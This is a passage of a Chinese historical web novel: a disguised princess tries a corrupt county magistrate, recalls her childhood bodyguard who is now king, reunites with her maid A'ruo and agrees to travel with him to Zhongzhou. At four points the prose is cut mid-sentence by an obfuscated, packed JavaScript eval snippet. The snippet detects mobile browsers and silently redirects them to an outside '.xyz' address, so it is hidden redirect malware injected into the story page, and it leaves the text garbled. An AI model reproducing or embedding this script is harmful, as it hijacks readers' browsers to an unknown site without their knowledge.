莫不是他？他究竟为何而来。 嚼着糯米团子的速度愈发慢了，等到整个吞下时，就听见耳畔传来个声音，“殿下，时间到了。” 步笑安抬眼望去，就看到金令主在房檐处整个身子倒挂着头发冲下，也不知道他到底累还是不累。 “这不还有一个时辰的时间。”她淡淡道。 话虽是这么说着，但还是迅速起身，从二楼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14659998|156707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窗口翻了出去。 “把账结了，今日没带银子。” 银子是自然带了的，但既然这三天是公差，自然让她能省一点是一点。 在什么样的时候做什么样的事儿，比如偶尔去茶楼听曲儿是闺阁女子做的事情——勉强是，夜探县衙是暗探做的事，参加千秋宴是学堂士子该做的事情，这些她都知道本该如此。 红衣女侠客，既然谣传如此，那便还是这一身儿吧。 步笑安三两步换好衣服从旧宅返回县衙，她只用了一盏茶的时间。 轻纱拂面，宛若阎罗。 章州县衙。 清脆威严的一声喝令，惊堂木一拍，“升堂！” 步笑安端坐于堂上，高悬的明镜高悬匾额正对她背后，她右手握着惊堂木，指节微微用力，左手平按桌案。 四周的衙役分立两侧，手中握着红黑分明的水火棍。 堂下众人屏息凝神，空气中弥漫着一种奇特的沉默。 从来都是县令审别人，从来未见过一个不知名的女人来审当地的县令和御史的。 而她手中的昭然令，确是堪比虎符。 众人低头，不敢再看，“威武——” 四周的百姓将县衙围的是水泄不通，可谓是人头攒动。 蔺甘棠姗姗来迟，一把玉骨扇扇着，叫人拿了个屏风，自己坐在了后面。一点儿缝隙都不留，像是怕太阳怕的紧，一见太阳就要融化掉的样子。 步笑安一看这样子叹了口气，不过，这人就算齐了，她回过头。 “带人犯——” 伴着清脆的锁链声，两个人影终于出现在众人面前。 百姓们一边抱着肩一边磕着瓜子儿，一个赛一个的悠闲，手里头拿着一筐鸡蛋和白菜叶子。也不知道是准备买回家吃的，还是准备一会儿扔的。 步笑安回过神，盯着下面的人开了口，“草民受王命所托，调查章州贪腐一事。经查明，永宁大道修缮十年，应当用黄土烧铸砖石，却屡屡以劣质土替代，掺杂沙粒，以次充好。” 她顿了顿，手中惊堂木再次啪地一拍，声音犹如惊雷炸响。 “而这些剥削得来的金银，皆尽数落入曹大人腰包！账册为证，人证在此，罪证确凿！” 说罢，她手一挥，衙役将那账册呈上，随后便宣读着可疑事项。 曹然脸色煞白，额头冷汗涔涔，道：“冤枉！这……这是污蔑！定是有人陷害本官！” 步笑安冷笑一声，：“陷害？账册在此，工匠人证也可宣上来。曹大人，您若是能把这账册上的条条道道解释清楚，草民倒愿洗耳恭听。” 曹然瘫坐在地上，突然间恍然大悟，咬牙切齿道：“所以是你！夜闯我府邸的人是你！” 步笑安微微一笑，“聪明啊，曹大人。” 她又对着御史大人道：“经调查，没有发现御史大人与曹大人之间有联系，不过，您烧毁账册是事实，却犯包庇罪无疑。” “人证物证俱在，我这儿还有以次充好的石头本体。你们二位，有何辩驳之词？” 步笑安微笑着看着二人，见迟迟没有言语，便开了口。 “结案。” 8. 往昔 一扫阴霾，今日天气正好，暖阳洒落。 将犯人押往大牢后，面对那些吵闹也好，嬉笑的面孔也罢，步笑安都觉得没有什么意思。不管县衙内喧嚣的人群，她穿过熙攘人群，径直回到了她那方清净的宅院，躺椅轻轻一摇，悠闲地自在去了。 她今日替天行了道，护了章州的百姓一番，可却也有点惧怕他们。原因自然是上一阵子对你毕恭毕敬，下一秒钟立刻翻脸不认人。人心难测，上一秒温情脉脉，下一秒钟刀子就从你后背捅过去。 但她转念一想，好像官也是这样。只要是人，当知道了对方必败无法反抗之时，都会有两面三刀的可能性，古言称之为落井下石。 不过这次的落井下石有些大快人心罢了。 忽地，她的思绪飘远。父王当年想来也是被信任的人用之两面三刀的嘴脸给骗了，从身后狠狠捅了一刀，至今不知所踪，连死讯也无。 思及此，她免不了多一些伤感。 置身事外到底是容易的，但是每每看到那些尸位素餐，欺压百姓的父母官，她还是忍不住做点什么。 她虽然揽下了章州的这档子事儿，不过并不后悔。反而有些庆幸，这回既惩戒了贪官，同时还发现了一些宫变真相的蛛丝马迹。 这就够了。 王给了她三天的期限，如今刚到第二天她便已顺利结案，把那些不长脑子不做人事儿的狗官送到了牢里。按道理来讲这是超前完成了王交给的任务，实际上却是差一点迟了。 升堂算是一个时间点，而不是所有事情的终结点。这之后还有一系列的查证，记录等一系列的繁琐事，若要不落于草率，这些都需要时间。 幸而这些琐务可交由属官打理，省得她再亲力亲为。 所以，王对外宣布的三天时间，实际上却是短的不能再短了。 她到底可以信他吗？他会不会也是会两面三刀的人？ 她阖上眼帘，在躺椅上思考着进入了梦乡。 秋风透着萧瑟，带着她回到了往昔岁月。 步笑安做了一个梦，梦里她还是那天真烂漫，尚且不知世事的王女。 有一日，她调皮地蹦到了宫中的古树上，坐在枝头遥望着御花园旁边的尚书殿。 金光灿然的面具戴在稚嫩的脸上，一双眸子闪烁着渴望的光芒。 她无聊地用柳叶折了个草环戴在头上，自言自语，“为什么其他孩子都可以去上学堂去读书，我只能让老师带着戒尺和书本来我殿里？” 她拿着柳叶枝甩了甩，仿佛在模仿钓鱼的动作，“我也想跟他们一块儿背书——多有趣儿。我还可以在他们的书上画兔子。” 说到这里，她笑意盈盈地低头，灵巧地将柳条收回折叠，缠绕出一只精巧的柳叶兔，然后轻轻将那柳叶兔放在掌心。 她拎起兔子耳朵，看向属下伫立着的今日当值侍卫，带着些许炫耀的语气说道。 “看，我不仅会画兔子，还会折兔子。” 随着她的目光向下望去，只见一袭黑衣的少年倚靠着古树，远远瞧来，似个尽职尽责的侍卫，直挺挺地立着。可若走近细看，便会察觉他卸去了大半力道，肩背微倚，透出几分漫不经心的慵懒。 他黑袍玉冠，眉目如画，英俊的脸上有一颗美人痣。他约莫和她同岁，然而一举一动间，却比她多了一丝沉稳。 她似是看这人看出了神，“呀——” 一声惊呼脱口而出。 指尖稍稍一滑，那柳条折成的小兔子便自她掌心坠落，在风中旋转而下。 她攀着树枝连忙伸手去抓，却终究完了一步，指尖扑了个空。 不料那倚着古树偷懒的侍卫突然睁开眼。只见他手臂一探，衣袖翻飞，那兔子稳稳地立在他的掌中。 她松了一口气，望着下面吐了吐舌头。 “殿下——” 那黑衣侍卫抬头用着清凌凌的眼神在看她，声音总透着些许无奈。 她俏皮地道：“甘侍卫是吧，你说你一个护卫长得那么好看做什么。” 那少年抿了抿唇，将兔子握在掌心，“殿下，在下姓蔺，名甘棠。不姓甘——” 她眨了眨眼睛，“蔺？” “我还是叫你甘棠好了。” 她笑颜如花，带着一丝俏皮。 从此后，那日的当值侍卫就成了她的贴身暗卫。虽然拥有了王女的宠幸，但想偷懒相比以前也少了许多机会。 毕竟白天陪着上房揭瓦，晚上站在房间外面执灯守夜。 而且每每冒出来什么古灵精怪的想法，步笑安总会第一个跟他分享，然后看着他言不由衷的样子总是会笑的无比欢脱。 总之，哪里有她步笑安，哪里就有他蔺甘棠。 然而人不管在多美的美梦里，总有一刻会醒来。 不论清醒的瞬间有多么的想将美梦继续下去，都会被记忆拉回现实。 但，并不总是醒时如此惊悚。 步笑安再次睁开双眼，模糊的视线还未完全聚焦，便看到一张美貌俊秀的脸，就离她有一寸那么近。 ——什么东西！ 她心头一惊，下意识睁大眼睛，本能地扬起手，想也没想便是一巴掌甩去。 手臂甫一挥出，却被一股巧妙的力道轻轻卸下，动作干净利落。 “哟，还是个练家子？” 她猛然一转身，从摇椅上翻身而下，脚尖一点，便拉开了距离。 待站定后，她再定睛细看，怎料到这不是正是那位鼎鼎大名的昏君，她梦中刚刚见到的那人吗？ 梦中模糊的身影与眼前的真实渐渐重叠，令人恍惚不已，一瞬间竟分不清虚实。 秋风乍起，背后的海棠树飘落几片枯叶，轻飘飘打着旋儿落在她脚边。 她眯起眼睛，搞不清面前人的来意。 “私闯民宅，王到底有何贵干？” 一南一北，两人相对而立，宅子里静悄悄的。 蔺甘棠依旧是一袭黑袍，但那张俊美的脸上，却没有曾经的那种沉稳到她想去掀开他欲言又止的冲动了。 他那张脸上浮现一丝笑意，“殿下今日出尽了风头，怎不见得开心。” “开心？” 步笑安思索了一下，她好像开心的时候不多，只要平静占据大多数就已经是开心了。更何况，都没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14659999|156707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个结局，她何来的开心呢。 她沉声道：“还行，王这次微服出巡戏可看足了？” 步笑安拂过掉落在头顶的落叶，敛眸道：“看足了就回宫吧，免得有心人在背后搞事情。” 蔺甘棠打开玉骨扇，扇叶上写了正大光明四个字。 他唇角微弯，“有些人巴不得孤在外面多败坏些名声，这倒是无碍。” 蔺甘棠抬手将那把摇椅停住，摇椅在他手中轻轻摇晃，发出吱呀声。 他倚身靠了上去，摇椅在他手里极为听话。 这位王倒是自在把这里当成了自己家一样。 蔺甘棠侧眸看她，“章州一事，解决的如此顺利，多亏了殿下。” 步笑安不为所动，背靠着海棠树，欣赏这幅美妙的画面。 他还是一如既往的好看，那颗美人痣陪在这张脸上真是相得益彰，美得惊艳。 她当时在戏台上怎么没认出来这人呢？ “这自然是我该做的。” 古话说的好，无事不登三宝殿。 步笑安静静地看着他，“昭然令已经归还，王还有何事就有话直说吧。” 蔺甘棠懒洋洋地晃了晃头，似在思考，“孤近期要去中州，殿下可有兴趣同去？” “哦？” 此言，步笑安确实没有料到。 毕竟二人十年里连书信都不曾通过，如此大张旗鼓，联系紧密，怕不会引起某些人物的警觉。 睫毛轻颤，步笑安一双眸子直直看着蔺甘棠的眼睛，他是何意思？ 她还不想死。 蔺甘棠声调漫不经心，他又道：“中州近日又要有一场好戏能看，我记得殿下曾经格外喜欢这些个玩意儿，故特来邀请。” 步笑安掩盖住心中的疑惑，好整以暇地看着他，“只是看戏？” 蔺甘棠又道：“中州近日可不止一台好戏，殿下想来聪慧，若能同行，定能助孤一臂之力。” 他敲敲摇椅的木制扶手，看着湛蓝的天空，“想必，你的消息也快来了。” 这回步笑安也不掩饰心中讶异，一怔，“我的消息？” 扇子半掩着唇，蔺甘棠有些意味深长，“正是，你的消息。” 沉默在二人之间蔓延，树枝上鸟雀在叽叽喳喳。 见步笑安沉默不语，蔺甘棠笑着扬唇，起身走向门外。 “那孤就先走了，明日午时，孤会再来。” 步笑安看着他走出宅院，抿起唇。 她的消息，这四个字儿让她有些坐卧不安。 究竟她的事，他知道到何种地步？ 直到晚上，步笑安终于明白了他说的这句话到底是什么意思。 她本来已经睡下，半睡半醒间，她隐隐约约听到什么人在叫她，随着时间流逝，这声音越来越大。 “殿下——！我回来了！” 静谧的宅院里被一声清亮的女声打破。 她猛地睁开眼睛。 步笑安从榻上下来，披上衣服，再打开门，就看见一个身影飞扑进她的怀里。 “殿下——你有没有照顾好自己呀。阿箬终于回来了！” 9. 阿箬 阿箬是她来章州之后派出去的。 来章州之前，她们在水云天小住了一年有余。那是一段神仙日子，小桥卧波，绿柳垂荫，像是世外桃源。水云天不独是风景秀丽，而且水陆交汇，更是个经营营生的好地方。 她们在那里开了书肆，表面上书架上除了四书五经，还陈列着诸多戏文话本，暗地里用以收集各地情报。 水云天距章州不过百里，水路可通，她遣阿箬回去，正是为了料理书肆之外那几处闲置铺面。 但很显然，她的踪迹被王发觉了。 步笑安垂眸，手指缓缓穿过阿箬乌黑的发丝，唇边浮现一抹淡淡的笑意：“我们阿箬，好像又长高了呢。” 阿箬抬起头看向她，满是亲昵之情。 上次见她，个头不过才到她的肩膀，现在却也到她鼻子尖了。 这是她的丫头，自她离开王宫后变卖发簪才从人贩子手中救出来的丫头。 那年冬天，北风裹挟着碎雪，冷入骨髓。 她混在流放队伍中正打算溜出王都，可流放队伍在出关的时候会逐一核查当时的人员构成，她一看便知必然混不下去，必然会暴露自己。 于是她这才灵机一动流亡土地庙。庙中多是老弱病残，她在这里与那些人靠着冷硬馒头度日。平日里蜷缩在角落，等了数十日才等到来把她拐走的劫匪。 劫匪危险还是王都危险，她很明显地选择了后者。 于是她半推半就地自己钻入了麻袋，选择被运出了王都。 那年下的第一场雪，步笑安是在驴车上度过的。 透过麻袋的破洞，四散的雪花映入眼帘，她看到了不同于宫里的风景。那风景似是在诉说往日不可追，也在说着广阔的自由。 就这样她一路颠簸来到了人贩子的窝点，认识了当年才七八岁的阿箬。 那时的阿箬骨瘦如柴，满是伤痕，被打的浑身发冷，高烧不断，步笑安断断续续地听到她是因为逃跑才被打成这样的。 于是她就凭借着自己藏在身上的蒙汗药粉，趁劫匪不注意撒在了酒里，把他们一下子都迷晕，背着阿箬就走到了附近的村子，堪堪救回了一命，在镇子上好心人的照顾下她们藏了足有一年才辞行。 打那以后，不管风里雨里，阿箬和她一起舞刀弄剑，并肩作战，是她最忠实的伙伴。 所以出掉铺子等重要事情，步笑安都会交于她来做，一直以来也不出差错。 按道理来说，处理乱七八糟的事宜本应还花些时日的。 “怎么回来的这么快？”步笑安不由得轻声道。 有什么样的主子，就会有丫头有样学样，把主子的乔装打扮的功夫学了个七八成。 眼前的少女一袭青衫，俨然一个小厮打扮，眨巴着一双杏眼，“殿下，很顺利，我按照以往的做法把铺子给出了，全部换成了银票。” 步笑安点头，心中稍微有些疑惑，“没出问题？” 阿箬抿唇，叹了口气，也不藏着掖着，“如殿下所料，问题就出在这里，我去钱庄兑银票的时候，人家不给兑。” 说着从怀里摸出来一把银票递给步笑安。 接过那沓子银票，步笑安低头一撇，心中已经有了底，例行一问，“有说原因吗？” “说可能当时盖的印出了问题。那钱庄的人不讲理的很，非得让我们去找他们的总掌柜。” 闻言，步笑安手指轻轻覆住印着的红字，挑了挑眉。 阿箬说完又不安地跺了跺脚，“问题是，我去他们钱庄其他分号也让我找他们总掌柜，但是哪里都没有。我就跟个蹴鞠的球一样，来回被踢。” 想到阿箬被为难的两头跑，步笑安是又心疼又觉得好笑。 突然间，步笑安心中产生了一个想法，她抬头看着阿箬。 “钱庄莫不是永世钱庄？” 阿箬瞪大了眼睛，上前两步，惊叹道：“神了，殿下，你怎会知道。” 她道：“永世钱庄总掌柜姓侯，常年居住在中州。如果要兑银票，首先我们要跑一趟中州。” 若不是上午有心理铺垫，她确实也猜不到是永世钱庄的问题，但这只是巧合吗？ 他是永世钱庄背后的主人？ 步笑安将银票收到首饰盒中放好。 她陷入了沉思。 阿箬在一旁解开了发带，露出一头青丝，甩了甩头发，她道：“既然殿下都有主意了，那阿箬就不担心了。” 步笑安回过神，一脸宠溺地看着她，“洗洗睡吧，我们过几天上路。” 请君入瓮，还是另有所图。 这中州，总归还是得走一趟的。 阿箬的呼吸已然绵长，步笑安轻轻替她掖好被角。 她收回目光，悄然起身走到桌案处，取过笔在纸上书写了几个字。 写罢，她将纸折起藏入袖中，推开了房门。 她轻抬下颌，看着那棵海棠树。 “咕咕——” 一声低沉的鸽鸣划破寂静，步笑安神情未动，走到树旁。 “交给王。” 她把纸放进树洞。 四周空无一人，片刻后，却隐隐约约传来了一声“是”，随后杳无踪迹。 她望向天空，空中乌云遮月，月光被遮住，只投下一点点光亮。 一夜无梦。 第二天阿箬睡到了日上三竿。 步笑安没有叫醒她，只是穿戴好衣裙，坐在摇椅上摇着扇子，心里盘算着接下来的中州之行大抵需要的盘缠。 书肆到底是赚了些许的银子，这些银子都是现银，能拿到手里，去中州的路费到底是够了。 但一想到在中州的住宿，就又是一笔不小的开销。这所宅院也是她在庄宅行那边租赁来的，若是在中州的话，便只高不低。出店铺的银票若是不能用的话，就比较困难。 步笑安摇着扇子，想了想，若是和蔺甘棠一起走—— 这银子，好像能省。 “殿下——你怎么不叫阿箬——” 屋内传来一阵哀怨的，又带着些许撒娇的声讨声。 起了这是。 步笑安回头，只见阿箬睡眼惺忪，跌跌撞撞地朝她奔来。 她嘴角微微上扬，眼中漾起柔意，抬手朝她挥了挥。 “看你昨天跑累了，自是要睡个好觉。” 阿箬停在她身后，小手轻轻晃了晃步笑安方才坐过的摇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14660000|156707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 椅，声音带着些许撒娇，“可我想陪着殿下呀……” 步笑安一抹她的鼻子，“小丫头，今天带着你去茶楼好不好？” 阿箬闻言，杏眼骤然睁大，“好呀！小姐！” 两人并肩而行，踏出院门，步入熙熙攘攘的街道。 街市正值热闹时分，商贩的吆喝声此起彼伏，糖人、首饰、绣品等琳琅满目的摊位沿街铺展。 阿箬如脱笼的小雀，眼神四处打量，东瞧瞧，西看看，她也跟着开心了起来。 她并不知晓所有的真相。 阿箬只是能隐隐约约感受到神弓卫的存在，听到过有人唤步笑安为殿下，便天真地跟着唤了出来。但实际上并不知道步笑安的真实身份。 不过也知道在人前还是要称小姐的。 一路走走停停，总算到了地儿。 章州最大的茶楼里，茶香渺渺，谈笑声与说书声交织。 步笑安是第二次踏足此地，却也很想念此处的热闹与清净。 她迈步登上二楼，目光一扫，便落在靠窗的位置，那里视野极佳，可俯瞰整条街市的繁华，上次她便坐在这里。 步笑安径直走向那处席位，衣袖微拂，便落座于木椅之上。 可谓是翩翩佳人。 阿箬紧随其后，小跑着登上二楼，脚步轻快。 她双眸四下寻觅，眉眼间满是雀跃，终于在楼梯旁瞧见了茶楼里的小厮。 “小二，上茶！给我们小姐来一壶上好的青龙雪茶。”阿箬声音清脆。 步笑安闻言一怔，站起身来刚要阻止—— 怎料却没有小二应声的快。 那小厮肩头搭着一条洗得发白的抹布，闻声探出个脑袋，笑容爽朗，“好嘞——上好的青龙雪茶，二楼靠窗送到！” 步笑安只得好生坐下，拿出袖口里带着的银两放在桌上，顺带着敲了敲桌子。 阿箬落座在步笑安的旁边，一抬头便看出了她家小姐的不对劲，“小姐，你怎么了。” 步笑安闭上眼睛，她有些无奈，“阿箬，你知道青龙雪茶需要花多少银子吗。” 阿箬闻言也是一怔，手指覆在唇瓣上，轻声说：“小姐，我们不会真没有银子了吧。” 这些年她与阿箬在外打拼，积攒下的银两并非少数，如今却到了拮据的地步。按理而言，不该如此。 步笑安不语，兜中的银票虽在，徒有其形而无法使用，与无也无甚区别。 她有一搭无一搭地向外看去。 昨日晚上给他去了封信，约蔺甘棠午时在茶楼见面详谈。 那人怎么还不来？ “上好的青龙雪茶来了！” 一声脆亮的喊声过后，茶已备好，瓷壶中升腾起白烟袅袅。 对于秋天偏凉的天气来说正合时宜。 阿箬手脚麻利地提起茶壶，倾斟半盏茶到青瓷杯中，小心翼翼地奉上。 步笑安接过茶盏，微抿一口，齿颊间顿时泛起一丝清冽甘甜。 果然是青龙雪茶，不同凡响。 她正欲再品一口，再抬头时眼前多了个身影，他噙着笑。 “美人儿，这是久等了？那真是在下的不是了。” 10. 质问 “哪里来的登徒子！” 外面喧闹声繁杂，倒是没有客人注意到这里的剑拔弩张。 二楼雅间中本是静悄悄的，除了三人再无旁人，这一声呵斥在狭小的空间中显得格外突兀。 阿箬杏眼圆瞪，虽然这声美人儿叫的出奇的悦耳，可她绝不容许自家小姐受半分轻慢。 话音刚落，当即一个手刀就要横劈到那人的胸膛。 可小小的身躯能量有限，没料到那人一个后撤步，闲庭信步般避过了她的攻势。 未等阿箬反应过来，蔺甘棠顺势一抬手，轻而易举地扣住了她的手腕。 阿箬微惊，刚欲挣扎，却被他借着桌案之势反手一引，整个人便被牢牢制住，动弹不得。 “你——”阿箬急得俏脸微红，挣扎不得。 来人微微俯首，露出一条清隽俊美的下颌线，这下阿箬也微微晃了神。 蔺甘棠身子前倾，喉结微动。嗓音清澈，转过头看向步笑安，淡淡道：“这丫头，怎的和你小时候如此相像。” 这一回头，黑衣金边的衣袍趁的眸子显得格外深邃，眼眸中间隐隐约约透着点点光亮。 那眼神与记忆中的那人很是相似，专注中却又带着几分游离，步笑安当下有些恍惚。 她移开双眼，微微抬起下颌，发了话：“放开她吧。” 微微又一偏头，示意他看向自己对面的位置。 “坐。”她又道。 为表敬意，步笑安率先拿起桌子上的瓷杯，亲自斟了茶。 茶叶在茶碗中起伏，映出她一闪而过的温婉容貌。 虽然说一同去中州的这个提议，是对方提的，但毕竟，今天的目的还是要贪图对方的银子。 她内心有愧。 蔺甘棠看到此番动作扬了扬眉，刚要开口。 “小姐！他是谁？” 阿箬此时还被束缚着背对着步笑安。 她看不到她家小姐此时的表情，只是能感觉到她家小姐应该是和这人是旧相识。 可是她跟了她家小姐十年了，可从未听说过她还会有这样的朋友。 “先松手。”步笑安抬起头，拈起茶杯淡淡道。 蔺甘棠的目光微微一沉，顺着自己扣住的手臂往下望去，看到阿箬白皙的手腕上已浮起了淡淡的红痕。 再抬起头，步笑安正盯着他。 她缓缓开口，“阿箬，你还是帮我出去买点儿绿豆糕回来吧。” 步笑安知道，要是由着阿箬这性子，怕是要闹上了一阵子，只得把她支出去才能作罢。 蔺甘棠也注意到他使的力气有些大，顺着步笑安的眼神他也立刻松了手。 手一松，阿箬嘶一声，扭头上下打量了蔺甘棠一番，嘟囔道：“你这人好生粗鲁，小姐怎么会结交这种人，一点儿都不会怜香惜玉。” 蔺甘棠扬眉，没有打算和她一般见识，对着那个只到她胸膛的小丫头道：“你家主子吩咐，快去吧。” 阿箬给了他一个白眼，随即头一扭，便走了人。 偌大的雅间中弥漫着淡淡茶香，就剩下步笑安和蔺甘棠二人。 指尖轻触茶杯，步笑安盯着杯中翻涌的茶叶，她并未率先开口，只是放下手中已见底的茶，拿起了一个空茶杯。 茶壶被举起，放下，之后茶香四溢。 蔺甘棠挪动了两步，倒是不客气地坐到了步笑安的对面，自然地接过步笑安递过来的茶杯。 他轻轻吹了吹茶水，浮在水面的茶叶随着他的呼吸微微起伏，上下起伏。 睫毛微垂，他道：“殿下今天，到和往常有些不一样。” 话毕，蔺甘棠的目光落在步笑安身上，透着几分若有所思。 步笑安靠在椅背上，右手捋着发丝，笑了笑，“如何不同？” 他换了个姿势坐着，透出几分懒散，“丝毫不见审案时的锋芒毕露，反而更像一个寻常女子。” 闻言，步笑安垂眸轻笑，“王不也是一样，在戏台上也是一个很称职的戏子。” 蔺甘棠也不言语，只是低头看着茶，看似忽略掉了这句话。 “好茶。” 二人之间又陷入了无言的沉默。 茶楼里今日讲的是狸猫换太子的故事，偶尔讲到精彩之处还会传来满堂喝彩。 步笑安静静听着，也别有一番滋味，只不过影影绰绰，听得并不甚清晰。 如果不是一直能感觉到那道视线的话，那边更好了。 她回过神，又捧起茶杯吹了吹。 蔺甘棠边喝茶，边看着她，好像在欣赏什么世上罕见的稀世珍宝一般专注。 步笑安被他看的背后有些发毛，指尖敲了敲杯子。 她寻思着，该有的寒暄也已经有了，是时候切入主题了。她向来不喜欢拐弯抹角，遂单刀直入。 步笑安抬眼，凤眼张开，露出一对好看的眉毛，直说道：“永世钱庄背后之人是你吗。” 像是没有想到她会有此疑问，蔺甘棠略微一沉思。 “永世钱庄？” 他像是想通了什么，闻言哈哈大笑两声，“殿下太看得起我了。” 顿了顿，他解释道：“若我能富成那样，何愁没有办法摆脱困境。” 步笑安眯起眼睛，似是在判断他所说话语的真假。 “那你，是如何得知阿箬行踪的。” 蔺甘棠抖抖袖子，将背靠的更深一些，“这就说来话长了。” “孤好歹身为一国之君，总得寻些事情打发时日。平日里看看戏，听听曲儿，偶尔收集些民间话本，也算是怡情养性。正因如此，才晓得了你名下那几间书肆。说来倒也有趣，原来竟然想到一块儿去了。” 步笑安的心微微一沉，但面儿上未露一丝异色。华安书肆她开了许多家，其中经营不善倒闭的有两三家，倒是还有不少书肆尚存，所囊括的小道消息遍布中晟王朝。 难道说，这么些年来她布的情报网，竟然给他做了嫁衣？她费尽心思收集的情报，竟然暗中流到了宫中？ 步笑安敛下眼睑，沉声说道：“你有神弓卫，何必借我的书肆？” 蔺甘棠摇了摇头，“此言差矣，神弓卫多对宫中事熟悉，而民间事则并不怎么敏感。” “同样我也想问殿下，殿下亦可用神弓卫，为何还用书肆？” 不等步笑安答话，他自问自答，道：“二者相结合尚可发挥最大贡献。你早就想到了不是吗。” 步笑安沉默不语。 是，她是早就想到了。但是她从来不让神弓卫涉及到书肆的事务中，所以这次阿箬遇到麻烦，银 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14660001|156707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 票无法兑现的消息她甚至收到的比他还晚。 至于原因，自然是因为神弓卫的主子，并不完全是她。她信神弓卫，但又不完全信。 就像她信阿箬，但也不完全告诉她实情一样。 “所以，你是通过我的书肆，才知道阿箬近日会回到章州的事情。” 前因后果想通了一遍，步笑安这才对着他陈述道。 “聪明啊，殿下。” 蔺甘棠眼眸弯起，笑了笑，但是瞳孔中并没有笑意涌现，那里面透着一丝丝伤心。 “可是殿下不信我，有一些难过。” 步笑安指尖微微颤动，面上不为所动，“何来难过。” “殿下，大可以放心神弓卫的。” 步笑安将头转向窗外，“时候不早了，阿箬一会儿该回来了。” 外面的太阳正当时，高悬在空中，将空气中的暖意提高了不少。 “既然如此，那边劳烦殿下收拾收拾行囊搬来御史府，我们不日出发。” 蔺甘棠显然是已经有所准备，就等着她一口答应。很明显，她也是答应了。 从窗外的景色里抽离，她再次转过头，“好。” “但是这差旅费——” “孤出。” 爽快。步笑安内心欢呼一声。 * 从雅间出来与蔺甘棠告别之后，步笑安在茶楼一楼墙角拐角处，找到了阿箬。 阿箬正蹲在墙角，一脸专注地听着说书先生口中那些近日的趣闻。 刚刚的不快像是全忘了一般，见步笑安走近，阿箬急忙抬起头：“小姐，今日你有没有见到过一个长着獠牙的红衣女子？听说她像是妖魅一般，来去无踪，专门惩治那些坏人！” 步笑安微微一愣，这说的不就是她？ 阿箬站起身来，拍了拍裙摆上的尘土，“那人说得活灵活现，还说她把章州那贪赃枉法的父母官，一掌就送去见了阎王！” 这话本子怎么越说越离谱了，步笑安隐隐觉得好笑。 “那都是他编的，也就骗骗你这样的丫头。”她微笑道。 阿箬忍不住辩驳，“小姐，他说的可真了。不然为什么最近都风声鹤唳的——我回来的时候就发现了！” 步笑安撩起帘子，走出茶楼，继而往家中溜达。 “哦？”她声音微扬，问道，“你又发现了什么？” 阿箬一边小跑着跟上，“小姐，我回来的时候，城门口排查比往日严了好几倍，每个人都要盘问半晌才肯放行。就连文牒也要反复核对，生怕出了纰漏。” 步笑安望着前方看不见头的街道，淡淡道：“这样啊，那我们还是早些离去为好。阿箬，回家准备准备。” 回到宅邸，阿箬一边将书架上的几本闲书塞入包裹中，一边忍不住叽叽喳喳地说个不停。 步笑安着手整理细软，手中动作不停，将要紧之物一件件收入囊中。 待一切妥当，阿箬提起一捆捆杂物，将无关紧要的旧物悉数搬至院中，点燃一把火，烧了个精光。 主仆二人早已习惯了这般随时迁移的生活。 一个时辰过后，便都收拾了个干净。 手指轻轻摩挲过门上的木纹，步笑安最后一次落了锁。 她转头道：“走吧。” 11. 黑袍 步笑安站在御史府面前，着实有些唏嘘。 前儿个御史府里面还是熙熙攘攘的，今日却是改朝换了面，始作俑者马上就要鸠占鹊巢了，而且占的还是如此的光明正大。 御史收受当朝大师的清明醉且烧了账本。 前者边界不慎，难判其罪。后者却证据确凿犯了包庇罪。至于御史大人，倒是还有重见天日的希望，可是这府邸却不再是他的了。 秋意愈浓，御史府外的树上的枯叶被风卷起，吹到了步笑安的头发上，发丝随着风轻轻地飘着。 她拈起叶子仔细瞧了瞧，上面的纹路看似毫无章法，实则乱中有序。这难免让她联想到章州这个偏居在中晟一隅的边陲小镇。正如这小小的一片叶子，看似乱的毫无章法，实则背后却有深意。 “小姐，我们来这里作甚？” 步笑安转头见阿箬一脸疑惑地看着她。 她眼珠转了转。是啊，关于章州以及永宁大道的整件事情还没有跟阿箬说过。 